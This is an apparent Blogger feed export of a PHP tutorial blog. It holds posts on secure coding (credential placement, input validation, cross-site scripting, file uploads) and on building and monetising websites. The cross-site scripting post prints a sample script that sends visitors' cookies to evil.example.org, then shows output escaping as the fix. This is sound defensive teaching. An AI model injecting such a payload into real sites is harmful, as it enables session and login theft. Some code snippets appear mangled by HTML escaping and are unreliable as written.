tag:blogger.com,1999:blog-91180221636772668502024-02-07T10:17:48.371-08:00Script, Tutorial, Free, Learn, In PHP Programmingweb tutorial, web programming, PHP, find your tutorial in php here enjoyUnknownnoreply@blogger.comBlogger30125tag:blogger.com,1999:blog-9118022163677266850.post-27271003391273553422007-03-24T15:06:00.000-07:002010-05-11T01:41:53.579-07:00What Goes in Your Code<p class="docText">Many of the code snippets we have shown for accessing databases have included the database name, username, and user password in plain text, as follows:<a name="ch16index180"></a><a name="ch16index181"></a><a name="ch16index182"></a><a name="ch16index183"></a><a name="ch16index184"></a><a name="ch16index185"></a></p><pre>$conn = @new mysqli("localhost", "bob", "secret", "somedb");<br /></pre><br /><p class="docText">While this is convenient, it is slightly insecure because somebody could have immediate access to our database with the full permissions that the user "bob" has if he got his hands on our <span class="docEmphasis">.php</span> file.</p> <p class="docText">It would be better to put the username and password in a file that is not in the document root of the web application and include it in our script, as follows:</p><pre><br /><br /><br /></pre><br /><p class="docText">We should think about doing the same thing for other sensitive data.<a name="ch16index186"></a><a name="ch16index187"></a><a name="ch16index188"></a></p>Unknownnoreply@blogger.com9tag:blogger.com,1999:blog-9118022163677266850.post-51041688886872683392007-03-24T15:05:00.000-07:002010-05-11T01:42:21.275-07:00Code Organization<p class="docText">Some would argue that any file not directly accessible to the user from the Internet should not find a place in the document root of the web site. For example, if the document root for our message board web site is <span class="docEmphasis">/home/httpd/messageboard/www</span>, we should place all of our <span class="docEmphasis">.inc</span> files and other files in a place such as <span class="docEmphasis">/home/httpd/messageboard/code</span>. When we want to include those files, we can simply write in our code:<a name="ch16index171"></a><a name="ch16index172"></a><a name="ch16index173"></a><a name="ch16index174"></a><a name="ch16index175"></a><a name="ch16index176"></a></p><pre>require_once('../code/user_object.inc');<br /></pre><br /><p class="docText">The reasons for this degree of caution come down to what happens when a malicious user makes a request for a file that is not a <span class="docEmphasis">.php</span> or <span class="docEmphasis">.html</span> file. Many web servers default to dumping the contents of that file to the output stream. Thus, if we were to keep <span class="docEmphasis">user_object.inc</span> in the public document root and the user requested it, he might see a full dump of our code in his web browser. This would let him see the implementation, get at any intellectual property we might have in this file, and potentially find exploits that we might have missed.</p> <p class="docText">To fix this, we should be sure that the web server is configured to only allow the request of <span class="docEmphasis">.php</span> and <span class="docEmphasis">.html</span> files , and that requests for other types of files should return an error from the server.</p> <p class="docText">Similarly, files such as password files, text files, configuration files, or special directories are best kept away from the public document root. Even if we think we have our web server configured properly, we might have missed something. Or if our web application is moved to a new server that is not properly configured in the future, we might be exposed to exploitation.<a name="ch16index177"></a><a name="ch16index178"></a><a name="ch16index179"></a></p>Unknownnoreply@blogger.com4tag:blogger.com,1999:blog-9118022163677266850.post-51724356688343770452007-03-24T09:52:00.000-07:002010-05-11T01:42:57.476-07:00Filtering Even Basic Values<p class="docText">HTML form elements have no types associated with them, and most pass strings (which may represent things such as dates, times, or numbers) to the server. Thus, if you have a numeric field, you cannot assume that it was entered as such. Even in environments where powerful client side code can try to make sure that the value entered is of a particular type, there is no guarantee that the values will not be sent to the server directly, as in the "<a class="docLink" href="http://www.blogger.com/post-edit.g?blogID=9118022163677266850&postID=5172435668834377045#ch16lev3sec11">Double Checking Expected Values</a>" section.<a name="ch16index121"></a><a name="ch16index122"></a><a name="ch16index123"></a><a name="ch16index124"></a><a name="ch16index125"></a><a name="ch16index126"></a><a name="ch16index127"></a></p> <p class="docText">An easy way to make sure that a value is of the expected type is to cast or convert it to that type and use it, as follows:</p><pre>$number_of_nights = (int)$_POST['num_nights'];
<br />if ($number_of_nights == 0)
<br />{
<br />echo "ERROR: Invalid number of nights for the room!";
<br />exit;
<br />}
<br /></pre>
<br /><p class="docText">If we have the user input a date in a localized format, such as "mm/dd/yy"' for users in the United States, we can then write some code to verify it using the PHP function called <tt>checkdate</tt>. This function takes a month, day, and year value (4-digit years), and indicates whether or not they form a valid date:<a name="ch16index128"></a><a name="ch16index129"></a><a name="ch16index130"></a><a name="ch16index131"></a><a name="ch16index132"></a><a name="ch16index133"></a><a name="ch16index134"></a></p><pre>// split is mbcs-safe via mbstring (see chapter 5)
<br />$mmddyy = split($_POST['departure_date'], '/');
<br />if (count($mmddyy) != 3)
<br />{
<br />echo "ERROR: Invalid Date specified!";
<br />exit;
<br />}
<br />
<br />// handle years like 02 or 95
<br />if ((int)$mmddyy[2] <> 50)
<br /> $mmddyy[2] = (int)$mmddyy[2] + 1900;
<br />else if ((int)$mmddyy[2] >= 0)
<br /> $mmddyy[2] = (int)$mmddyy[2] + 2000;
<br />
<br />// else it's <>
<br /><p class="docText">By taking the time to filter and validate the input, we can not only help ourselves out for natural error-checking that we should be doing in the first place (such as verifying whether a departure date for a plane ticket is a valid date), but we can also improve the security of our system.<a name="ch16index135"></a><a name="ch16index136"></a><a name="ch16index137"></a><a name="ch16index138"></a></p>Unknownnoreply@blogger.com1tag:blogger.com,1999:blog-9118022163677266850.post-72121683449330150712007-03-24T09:49:00.001-07:002010-05-11T01:43:15.802-07:00How to get a site online and have it making money<p>When building and getting a site online you have to think of a number of things. Some of these include the following:</p> <p>1.What is your site going to be about If you want to get a site online to make money then you need to do some good research before you choose what your site is going to be about. This is because there is no point in you choosing a topic for your site where other people have no interest in. If no one has any interest in the topic of your site then you will find it very had to get a good amount of visitors to your site. So the best thing to do is to choose a topic that is likely to interest a large number of people and is also likely to make you some good revenue online.</p> <p>2.What web hosting provider are you going to choose to host your site with Choosing the right Web hosting provider is very important when choosing it to host your site. This is because there is no point in choosing a Web hosting provider that is likely to be unreliable just because it is cheap or just because you don�t know enough about it. The article at: <a href="http://www.simplysearch4it.com/article/a00033/854.html" target="_blank">http://www.simplysearch4it.com/article/a00033/854.html</a> gives you a better idea on how to choose a good Web hosting provider to host your site with.</p> <p>3.How can you add more content to your site Once you have your site up and running, you will then need to think of ways of making your site bigger and also updating your sites content on a regular basis so that your visitors don�t get bored of your site and so that they will have a reason to keep visiting your site on a regular basis. Some ways of adding content to your site could include the following:</p> <p>�You could add some free reprint able articles to your site that is on the same topic as your site. You can find well over 800 reprint able articles at: <a href="http://www.simplysearch4it.com/article/articledir.php" target="_blank">http://www.simplysearch4it.com/article/articledir.php</a> �You could add some free to play games on your site so it becomes stickier. You can find a load at: <a href="http://www.miniclip.com/" target="_blank">http://www.miniclip.com</a> �You could add a forum to your site so people can keep informed of current events and updates on your site and also chat amongst each other. You can find some good forum scripts at: <a href="http://www.hotscripts.com/" target="_blank">http://www.hotscripts.com</a> where some of these are free with the GPL.</p> <p>4.How are you going to earn from your site Once you have built your site and have found a good web host to host your site with, you will then need to think about how you are going to earn from your site. </p> <p>If you are selling your own products or offering your own services, you may also want to add a few affiliate programs to your site so that you can produce a little extra income from these programs as well as earning the money from selling your own products or offering your own services. You can find well over 800 affiliate programs at: <a href="http://www.affiliateseeking.com./" target="_blank">http://www.affiliateseeking.com.</a> These include pay per click programs, pay per lead programs, two-tiered programs, pay per impression programs, residual income programs and more.</p> <p>5.How are you going to promote your site to get visitors Now that you have your site up and running with maybe a few affiliate programs included within your sites content, you will now need to promote your site so that you can start getting noticed on the Web. The article at: <a href="http://www.simplysearch4it.com/article/a00000/197.html" target="_blank">http://www.simplysearch4it.com/article/a00000/197.html</a> gives you some of the best ways of getting visitors to your site.</p> <p>Once you have done the above five things, you should now have your own site online. The amount of visitors that your site will receive and the amount of money you will make from your site will all depend on the amount of work and effort you put into your site. The more work you do with your site, the more money you are likely to make.</p>Unknownnoreply@blogger.com4tag:blogger.com,1999:blog-9118022163677266850.post-58597285999320153992007-03-24T09:41:00.001-07:002010-05-11T01:43:39.550-07:007 things to look for in a URL snipping Service<p> 7 things to look for in a URL snipping Service</p> <p>By Charles H Smith</p> <p>URL snipping services are becoming commonplace today. Surfers use them to mask affiliate URLs, shorten very long URL's, even to hide email addresses from spammers and automatic email harvesters. Ther are several URL snipping services that are no longer active. These inculde: shortlink.us, quickones.org, smlnk.com, and smurl.it. Hopefully, you didn't lose any carefully crafted and well planned email link campaigns as these services closed. </p> <p>As you look to snip your URL's using a free service, there are several items to investgate. </p> <p>First, do the links expire? If they expire, you may want to look to another service. </p> <p>Second, is there a direct redirect? If, upon selecting the short URL, you are sent to a transition or intersitial page, this page may change in the future to display an advertisment of the free service. The preferable redirection is a direct link to your short URL. </p> <p>Third, the service should check the URL and determine is is valid. Everyone makes typos, this simply check for valid URL format. </p> <p>Fourth, how long has the service been in business? Longevity and reliability are crucial when you are snipping hundreds of affiliate links. </p> <p>Fifth, is there any Terms of Service that you do not agree with? If there are, look for another service. </p> <p>Sixth, can you use the URL snipping service to hide email addresses from spammers? Try to snip mailto:youremailaddress@yourdomain.com. If the resulting snipped URL opens your default email program, then you may hide your email address from spammers. </p> <p>Seventh, are your links available only to the site administrators or are they available to the general public? </p> <p>An alternative to the free services is your own snipping service, running from your server. This ensures your links are available until you decide to delete them. </p> <p>Generally speaking, the short URL generators are php/MySQL driven scripts. You would need php installed on your server, your site administrator could tell you if it is. You would also need a MySQL database, again your site administrator could tell you if this is available to you. </p> <p>Another item to check is the control panel page. It should be a php template that can be edited for color, position etc. </p> <p>If you are using a shared hosting situation you may not be able to run a script that requires will not allow Mod Rewrites to be on, It should be a webmaster settable configuration. </p> <p>What's the difference Mod Rewrites On/Off? As you compare the resulting snipped URL's, if has a ? in the URL; such as, <a href="http://snippedurl.com/?a" target="_blank">http://snippedurl.com/?a</a> then the script is set for Mon Rewrites off. This is probably not the preferable URL format. If there is no ? in the snipped URL then it may only be run with Mod Rewrites on. </p> <p>As you look to snipping your URL's you may want to bring the service in-house to your server. This will give your site added stickyness as your customers, return time and time again to snip their URL's. </p>Unknownnoreply@blogger.com1tag:blogger.com,1999:blog-9118022163677266850.post-68760254728171147712007-03-24T09:40:00.001-07:002010-05-11T01:44:02.698-07:00The Advantages of Dynamic Website Content<p> Think about your own surfing behavior. What types of websites do you visit the most often; which ones keep drawing you back?</p> <p>If you are like most internet surfers, you will spend much of your time hanging around websites with dynamic website content, or content that is updated constantly or personalized to your preferences. The age of static, archival websites is long gone, in in its place is a dynamic and powerful internet driven by PHP, ASP, CGI, and Java.</p> <p>But setting up a website with full SQL support and advanced features is not an easy task, especially for someone who is still waist deep in <a href="http://www.websitenova.com/" target="_blank">HTML coding</a>.</p> <p>So...what to do? </p> <p>If you don't have the time or the will to commit to an advanced website with cutting-edge features and complicated scripts, there are still a good number of options that will make your website look more professional, with minimal effort.</p> <p>An excellent resource is <a href="http://www.hotscripts.com/" target="_blank">Hotscripts</a> - you can find a huge number of complete server side scripts there, many of them free. Another great resource is this <a href="http://www.websitenova.com/templates/htmlhelpcenter/tools/" target="_blank">Random Text Generator</a>, which is a powerful <a href="http://www.websitenova.com/templates/htmlhelpcenter/tools/" target="_blank">PHP script</a> to generate random content on your website. Show a new quote every day!</p> <p>In the end, the choice to go all-out is up to you, but with the help of a few handy scripts and some rudimentary server-side know-how, you can turn a static page into an impressive multi-faceted datacenter overnight!</p>Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-9118022163677266850.post-25874051217035914892007-03-24T09:32:00.000-07:002010-05-11T01:44:42.423-07:00Starting a Succesful Forum<p>How To Create A Successful Forum</p> <p>Hello I have decided to take a few hours of my time to write up a how to on creating a successful forum, these days there are hundreds if not thousands of forums launched each day and I bet more the 80% of them over the next month will shut down. This is because making a forum is just as hard as making a web site if not harder as there is no real content to get visitors attracted what you need is a great design and active members to be on your way to having a forum in which you can receive an income and maybe even live off selling advertising and getting members to pay to signup.</p> <p>Choosing A Theme:</p> <p>When choosing a theme make sure you are knowledgeable in that area as most users will be looking for someone to answer there questions and if the admin cant it kind of sets the theme for the rest of the board and you will end up failing in your quest to becoming a successful webmaster/forum owner. Before choosing a theme make sure you have a look at the market I can tell you right now setting up a webmaster forum or domain forum unless you have funds in which to spend then you are wasting your time there are to many out there and the market its flooded but by all means if you have a great idea then go for it as they are very profitable if you manage to get members.</p> <p>Buying A Suitable Domain:</p> <p>Okay the second step in setting up a forum is buying a domain depending on your theme this will be different but try to limit the amount of words to at most 3 and try and use the following words after the theme, forum, chat, discussion, board, talk if not you may need to think of a catchy word that goes well with what you want. Choosing a registrar is fairly easy as there are about a million out there these days but my favourite is DomainSite it provides cost effective and easy to manage features for your domain, they also allow you to use Paypal as a source of payment as well.</p> <p>Choosing A Forum Software:</p> <p>One of the hardest things you will come by before setting up your forum is choosing what software you are going to use with your forum, the main 3 which are widely used today are Vbulletin, PHPbb and Invision Power Board. All of which have there good's and bad points I will give you a brief overlook at them but before going ahead with one I suggest you read abit more about the features before setting one up. Ill start with VB (Vbulletin) this is used a lot because of its great reputation especially within business and webmaster related sites, this is due because it is a very safe and well updated software which gives buyers probably the most advanced bulletin board on the market to date, although it sounds great it does have some flaws this mainly is its price tag for a leased licence (one year) it is $80 usd and $160 usd for an owned license there are also other optional fees but don't need to be bought. Another non free bulletin board is Invision Power Board which retails for $185 usd this offers like Vbulletin a well made and updated forum software which you mainly see used in gaming and graphics forums as a lot of the mods and free skins are dedicated to those themes. Then we have the most used forum software on the web PHPbb it is a free but yet still advanced and well made with updates regular brought out, if you are on a low cost budget this is the way to go. Overall I prefer to use Vbulletin over the others but this is just a personal choice and offers me the needs that I want from a forum software and I don't mind paying the extra dollars for. But like I said before making a choice read a bit more about them by searching in google, msn and yahoo to find out what they all offer I can only tell you what I think but that's not the option every body chooses really depends on your budget and type of forum you intend to set-up.</p> <p>Attracting Members Without Paying</p> <p>But before you can do this there are many months of hard work recruiting and getting new members, when I started when there wasn't sites and services such as Google Adwords or Paid Post programs which can help you get steady traffic and members for a pretty reasonable price, so we had to find other ways this usually involved posting on other forums not blatant advertising though as this will usually get you band and have your post deleted not giving much exposure for the time it took you to sign up and post. I found the best way was to add your site into your signature and post topics and replies that had to do with your subject, forget posting about anything as this will only waste your time and have minimal effect, take your time to make larger and more detailed posts also as more people will read and contribute to your topic on larger forums you can get up to 500 unique visitors from one post not even having your sites link in the text just as a signature, always make sure it is a different colour try reds, blues and greens these aren't to bright that it deters viewers but still catch's there eye. I also found adding the hyperlink into a form of text this makes the advert look nicer and tells them a bit about the site before going to the forum, this allows you to get only those wanting to be apart of your community and are related to the advertising that you may have on your page. Over the last few months there has been also an increase of free forum directories try and add your forum to as many as you can this will improve your search engine rankings whilst receiving more visitors in the mean time.</p> <p> Attracting Members By Paying:</p> <p>There are many ways to advertise on the internet these days but many don't work and are a waste of time and money that's why I will try and lead you in the right direction and give you my thoughts on what is the best method of getting a successfully forum for the lowest cost. First off Adwords, this method of advertising can be great if you have an established forum with regular posters and members its also cost effective (depending on keywords) and easy to do if you have a credit card on hand. Don't get me wrong this could be a great way to get members to your forum at the early stages but I don't believe it's the best way at this point of time. One way I have found to be very successful is www.PaidPosts.com this provides a cost effective way to not only get members on your forum but to get posts which people will search for on search engines, find via friends and will want to respond to giving you more members and helping to create your active forum. Although some places do not provide detailed posts but just 3 word replies which really do nothing for getting members apart from deterring people as the forum will look spammed, and you don't want this so early on you will have enough of this later on in your forum. Another way is one of the most common seen on the internet Banner Advertising this is where you either buy or trade banner spots on another forum or site, usually you will try and advertise on a site with the main topic related to your forum to maximise your CTR (click through rate). The best way to go about this is to find a friend or someone via another forum/chat room and purchase a spot for a small amount of team and report how well its doing by the number of click throughs to the number of new members if its not looking to good move on until you find something you think works, there's no point advertising if you don't get anything in return it will just be a waste of money in the long run.</p> <p>Making Money From Your Forum:</p> <p>One of the main reasons people decide to make a forum is to make a profit or a return by doing something they enjoy and have an interest in, this is quite common and a lot of people actual do make a living from doing so but it does involve a lot of time and dedication, don't expect to wake up the next morning with thousands of dollars in your account from setting one up. There are many ways to make money from your forum it would take me days to list them all but I will list the main ones, first of Google Adsense you would have seen this been used many times before on sites and forums you have seen you may not know it well but it is a box like shown on www.ArcadeBay.com to the top right of screen, it can be seen many ways to find out more please have a look at www.Google.com/adsense set-up your account and simply add it to your board somewhere preferable in sight of your visitors and members this will improve the revenue made and help you put money back into the forum. It is very easy to customize and edit to suit your forums colour, size and it automatically adds ads related to your forums theme this improving the amount of clicks. Another way is Yahoo Publisher Network which also provides you with a service that like Google's, I personally haven't used this but I have heard the amount per Click is higher giving you more money per click but have found to get less clicks, this giving you the choice to use what you think will better fit your forum. One way that has been used probably the most of the last 4-5 years is banner advertising allowing people to pay upfront for a spot on your forums pages whether it be just the index or site wide this is up to you, there is no current rate for what you should charge this should be up to you depending on amount of members, hits, posts a day. I found it better to list services, items related to your theme better then other things even though you get the same amount of money but it seems to make your forum look more professional, so you wouldn't list computer games on a car forum. There are also thousands of referral programs out there where you receive a commission based on item sold and amount of clicks I'm not going to list them all but try searching for referral programs, affiliate programs in your preferred search engine, I'm sure you'll find something that will fit in quite well with your up coming community.</p>Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-9118022163677266850.post-47063429697316448932007-03-24T09:17:00.000-07:002010-05-11T01:45:01.285-07:00Serious Internet Security Concerns!<p class="article-text">These are some of the most dangerous things you can do online to hurt your Internet Security. They are the most common methods people use to place themselves in danger on the Internet. </p><p> Download attachements which are included in email messages that are not from people you personally know. Even if you only download them or open them cause you are interested to see what's insde can lead to adware,spyware and related problems. </p><p> Downloading of cracks from illegal websites, forums or groups. Cracks install adware or spyware when they are downloaded. Registering on websites to be able to download cracks is even worse. </p><p> Downloading of music from unknown sources. First get advice by visiting yahoo answers. Find out where people download music and trust big companies such as Google and Yahoo. They provide videos and music such as music.yahoo.com video.google.com </p><p> Join websites that require your home address or credit card information before you are accepted. </p><p> Give your credit card number by email to people whom you don't know personally. </p><p> Show off your credit card number in your Messangers such as Yahoo, AOL, or MSN messanger will surely hinder your Internet Security. </p><p> Give your credit card number by using Telephone when connected via Messangers with voice. </p><p> Same way you should never give your email address to people whom you don't know personally or you feel they do not need it. </p><p> Copy images you get from other websites and place them on your own sites. When you are online, you can see anything but in order to use something you need permission. You can even break the law in certain cases. </p><p> Send bulk email in any way. That means you send messages to people who did not request your messages or they don't know you personally. </p><p> Join porn websites that need your credit card information for a free trial. You cannot trust all porn websites. Porn websites are dangerous cause they contain most adware, spyware and other bad objects. </p><p> Post your photo online and include it anywhere you wish with your physical email address or phone number. Everything online can be collected by so called spammers that want to make money. </p><p> Do you need popup blockers? </p><p> Nowadays, browsers such as Mozilla Firefox have popup blockers included. You should also make well use of this extra extension. You can turn it on from the Tools or Settings option in your browser. </p><p> Mozilla Firefox popup blocker blocks most of the popups on websites. Though if a websites contains popups that cannot be closed you can add that website to the block list so the popup blocker automatically blocks its popups. You need to go to your browser settings to edit certain functions. </p><p> You can then allow certain websites to open popups if you need to. The term popups refer to windows that open without your permission. These can be big or small in size and usually contain either advertisements. </p><p> You should ignore these false claims you see on websites. Most often the software that you download also contain adware, spyware and other infections. That is also another reason why it is best to ignore these warning signs in the form of popups. Some popups try to make you believe you are a winner of a competition or contest or anything else to infiltrate your Internet Security. </p><p> There are different versions of these popups. Some want you to call them so they can spam you, others want to steal money from you after you call them. Your popup blocker usually detects and blocks these message. They are also very compelling messages but you should ignore them. </p><p> Some people install Memory boosters, which are software that is suppose to speed your memory for faster performance. A similar software is the Internet speed booster. There are many of these special software all different but have similar functions. </p><p> They might work, but we tested them and results of improvement were not seen. Further more these work on the backround and and take up resources. Doing so the performance and speed of the PC will decrease instead of improve. These software don't seem to do what they claim. </p><p> To improve speed of your Internet security, you can upgrade to a better ISP, internet service provider. That way you see real changes. Do a bit of research to find an ISP that allows faster downloading and uploading. To improve the speed of your memory you can do the most common methods which are, remove unwanted files, folders, clean PC and bad registry values. Here we recommend you use a registry cleaner for such purposes. </p><p> Most often you are researching online and you see warning signs in the form of popups. These all warn you or even worse try to make you believe you have infections on your PC. These are all false claims by certain companies that want you to download their own software. </p><p> That is some important information that will esure your Internet Security, privacy and computer is less in danger. Following that advice you will find less troublemakers online.<br /></p> --------------------------------------------<br />Dm <a href="http://www.danielmillions.com/" target="_blank">web directory</a> offering high quality backlinks and <a href="http://www.danielmillions.com/articles/article-list/Web-Directory-Articles.html" target="_blank">article directory</a> submission. Stop by today and browse our <a href="http://www.danielmillions.com/Recreation_/" target="_blank">recreation directory</a> resource or browse our <a href="http://www.danielmillions.com/blog.html" target="_blank">seo blog</a>.Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-9118022163677266850.post-87590785323836962092007-01-17T22:44:00.000-08:002010-05-11T01:45:17.697-07:00Cross-Site Scripting<a name="IDX-CHP-2-0184"></a><a name="IDX-CHP-2-0185"></a><a name="IDX-CHP-2-0186"></a> Cross-site scripting (XSS) is deservedly one of the best known types of attacks. It plagues web applications on all platforms, and PHP applications are certainly no exception.<p></p> <p style="margin-top: 0.49cm; margin-bottom: 0.49cm;">Any application that displays input is at riskweb-based email applications, forums, guestbooks, and even blog aggregators. In fact, most web applications display input of some typethis is what makes them interesting, but it is also what places them at risk. If this input is not properly filtered and escaped, a cross-site scripting vulnerability exists.<span class="fullpost"><br /></p> <p style="margin-top: 0.49cm; margin-bottom: 0.49cm;">Consider a web application that allows users to enter comments on each page. The following form can be used to facilitate this:</p> <p style="margin-bottom: 0cm; color: rgb(153, 0, 0);"> <span style="font-family:Courier New,monospace;"><span style="font-size:85%;"><form action="comment.php" method="POST" /></span></span></p> <p style="margin-bottom: 0cm; color: rgb(153, 0, 0);"> <span style="font-family:Courier New,monospace;"><span style="font-size:85%;"><p>Name: <input type="text" name="name" /><br /></span></span></p> <p style="margin-bottom: 0cm; color: rgb(153, 0, 0);"> <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">Comment: <textarea name="comment" rows="10" cols="60"></textarea><br /></span></span></p> <p style="margin-bottom: 0cm; color: rgb(153, 0, 0);"> <span style="font-family:Courier New,monospace;"><span style="font-size:85%;"><input type="submit" value="Add Comment" /></p></span></span></p> <p style="margin-bottom: 0cm; color: rgb(153, 0, 0);"> <span style="font-family:Courier New,monospace;"><span style="font-size:85%;"></form></span></span></p> <p style="margin-bottom: 0cm;"><br /></p> <p style="margin-top: 0.49cm; margin-bottom: 0.49cm;">The application displays comments to other users who visit the page. For example, code similar to the following can be used to output a single comment (<span style="font-family:Courier New,monospace;"><span style="font-size:85%;">$comment</span></span>) and corresponding name (<span style="font-family:Courier New,monospace;"><span style="font-size:85%;">$name</span></span>):</p> <p style="margin-bottom: 0cm; color: rgb(153, 0, 0);"> <span style="font-family:Courier New,monospace;"><span style="font-size:85%;"><?php</span></span></p> <p style="margin-bottom: 0cm; color: rgb(153, 0, 0);"><br /></p> <p style="margin-bottom: 0cm; color: rgb(153, 0, 0);"> <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">echo "<p>$name writes:<br />";</span></span></p> <p style="margin-bottom: 0cm; color: rgb(153, 0, 0);"> <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">echo "<blockquote>$comment</blockquote></p>";</span></span></p> <p style="margin-bottom: 0cm; color: rgb(153, 0, 0);"><br /></p> <p style="margin-bottom: 0cm; color: rgb(153, 0, 0);"> <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">?></span></span></p> <p style="margin-bottom: 0cm;"><br /></p> <p style="margin-top: 0.49cm; margin-bottom: 0.49cm;">This approach places a significant amount of trust in the values of both <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">$comment</span></span> and <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">$name</span></span>. Imagine that one of them contained the following:</p> <p style="margin-bottom: 0cm; color: rgb(153, 0, 0);"> <span style="font-family:Courier New,monospace;"><span style="font-size:85%;"><script></span></span></p> <p style="margin-bottom: 0cm; color: rgb(153, 0, 0);"> <span style="font-family:Courier New,monospace;"><span style="font-size:85%;"><span lang="nl-NL">document.location =</span></span></span></p> <p style="margin-bottom: 0cm; color: rgb(153, 0, 0);" lang="nl-NL"> <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">'http://evil.example.org/steal.php?cookies=' +</span></span></p> <p style="margin-bottom: 0cm; color: rgb(153, 0, 0);"> <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">document.cookie</span></span></p> <p style="margin-bottom: 0cm; color: rgb(153, 0, 0);"> <span style="font-family:Courier New,monospace;"><span style="font-size:85%;"></script></span></span></p> <p style="margin-bottom: 0cm;"><br /></p> <p style="margin-top: 0.49cm; margin-bottom: 0.49cm;">If this comment is sent to your users, it is no different than if you had allowed someone else to add this bit of JavaScript to your source. Your users will involuntarily send their cookies (the ones associated with your application) to evil.example.org, and the receiving script (steal.php) can access all of the cookies in <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">$_GET['cookies']</span></span>.</p> <p style="margin-top: 0.49cm; margin-bottom: 0.49cm;">This is a common mistake, and it is proliferated by many bad habits that have become commonplace. Luckily, the mistake is easy to avoid. Because the risk exists only when you output tainted, unescaped data, you can simply make sure that you filter input and escape output.</p> <p style="margin-top: 0.49cm; margin-bottom: 0.49cm;">At the very least, you should use <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">htmlentities( )</span></span> to escape any data that you send to the clientthis function converts all special characters into their HTML entity equivalents. Thus, any character that the browser interprets in a special way is converted to its HTML entity equivalent so that its original value is preserved.</p> <p style="margin-top: 0.49cm; margin-bottom: 0.49cm;">The following replacement for the code to display a comment is a much safer approach:</p> <p style="margin-bottom: 0cm; color: rgb(153, 0, 0);"> <span style="font-family:Courier New,monospace;"><span style="font-size:85%;"><?php</span></span></p> <p style="margin-bottom: 0cm; color: rgb(153, 0, 0);"><br /></p> <p style="margin-bottom: 0cm; color: rgb(153, 0, 0);"> <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">$clean = array();</span></span></p> <p style="margin-bottom: 0cm; color: rgb(153, 0, 0);"> <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">$html = array();</span></span></p> <p style="margin-bottom: 0cm; color: rgb(153, 0, 0);"><br /></p> <p style="margin-bottom: 0cm; color: rgb(153, 0, 0);"> <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">/* Filter Input ($name, $comment) */</span></span></p> <p style="margin-bottom: 0cm; color: rgb(153, 0, 0);"><br /></p> <p style="margin-bottom: 0cm; color: rgb(153, 0, 0);"> <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">$html['name'] = htmlentities($clean['name'], ENT_QUOTES, 'UTF-8');</span></span></p> <p style="margin-bottom: 0cm; color: rgb(153, 0, 0);"> <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">$html['comment'] = htmlentities($clean['comment'], ENT_QUOTES, 'UTF-8');</span></span></p> <p style="margin-bottom: 0cm; color: rgb(153, 0, 0);"><br /></p> <p style="margin-bottom: 0cm; color: rgb(153, 0, 0);"> <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">echo "<p>{$html['name']} writes:<br />";</span></span></p> <p style="margin-bottom: 0cm; color: rgb(153, 0, 0);"> <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">echo "<blockquote>{$html['comment']}</blockquote></p>";</span></span></p> <p style="margin-bottom: 0cm; color: rgb(153, 0, 0);"><br /></p> <p style="margin-bottom: 0cm; color: rgb(153, 0, 0);"> <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">?><span style="color: rgb(0, 0, 0);"></span></span></span></span></p>Unknownnoreply@blogger.com2tag:blogger.com,1999:blog-9118022163677266850.post-24615642823245668852007-01-17T22:32:00.000-08:002010-05-11T01:48:16.259-07:00File Upload Attacks<div><a name="IDX-CHP-2-0172"></a><a name="IDX-CHP-2-0173"></a><a name="IDX-CHP-2-0174"></a><a name="IDX-CHP-2-0175"></a><a name="IDX-CHP-2-0176"></a><a name="IDX-CHP-2-0177"></a><a name="IDX-CHP-2-0178"></a><a name="IDX-CHP-2-0179"></a><a name="IDX-CHP-2-0180"></a> Sometimes you want to give users the ability to upload files in addition to standard form data. Because files are not sent in the same way as other form data, you must specify a particular type of encoding<span style="font-family:Courier New,monospace;"><span style="font-size:85%;">multipart/form-data</span></span>:<p></p> <p style="margin-bottom: 0cm;"> <span style="font-family:Courier New,monospace;"><span style="font-size:85%;"><form action="upload.php" method="POST" enctype="multipart/form-data"></span></span></p> <p style="margin-bottom: 0cm;"><span class="fullpost"><br /></p> <p style="margin-top: 0.49cm; margin-bottom: 0.49cm;">An HTTP request that includes both regular form data and files has a special format, and this <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">enctype</span></span> attribute is necessary for the browser's compliance.</p> <p style="margin-top: 0.49cm; margin-bottom: 0.49cm;">The form element you use to allow the user to select a file for upload is very simple:</p> <p style="margin-bottom: 0cm;"> <span style="font-family:Courier New,monospace;"><span style="font-size:85%;"><input type="file" name="attachment" /></span></span></p> <p style="margin-bottom: 0cm;"><br /></p> <p style="margin-top: 0.49cm; margin-bottom: 0.49cm;">The rendering of this form element varies from browser to browser. Traditionally, the interface includes a standard text field as well as a browse button, so that the user can either enter the path to the file manually or browse for it. In Safari, only the browse option is available. Luckily, the behavior from a developer's perspective is the same.</p> <p style="margin-top: 0.49cm; margin-bottom: 0.49cm;">To better illustrate the mechanics of a file upload, here's an example form that allows a user to upload an attachment:</p> <p style="margin-bottom: 0cm;"> <span style="font-family:Courier New,monospace;"><span style="font-size:85%;"><form action="upload.php" method="POST" enctype="multipart/form-data"></span></span></p> <p style="margin-bottom: 0cm;"> <span style="font-family:Courier New,monospace;"><span style="font-size:85%;"><p>Please choose a file to upload:</span></span></p> <p style="margin-bottom: 0cm;"> <span style="font-family:Courier New,monospace;"><span style="font-size:85%;"><input type="hidden" name="MAX_FILE_SIZE" value="1024" /></span></span></p> <p style="margin-bottom: 0cm;"> <span style="font-family:Courier New,monospace;"><span style="font-size:85%;"><input type="file" name="attachment" /><br /></span></span></p> <p style="margin-bottom: 0cm;"> <span style="font-family:Courier New,monospace;"><span style="font-size:85%;"><input type="submit" value="Upload Attachment" /></p></span></span></p> <p 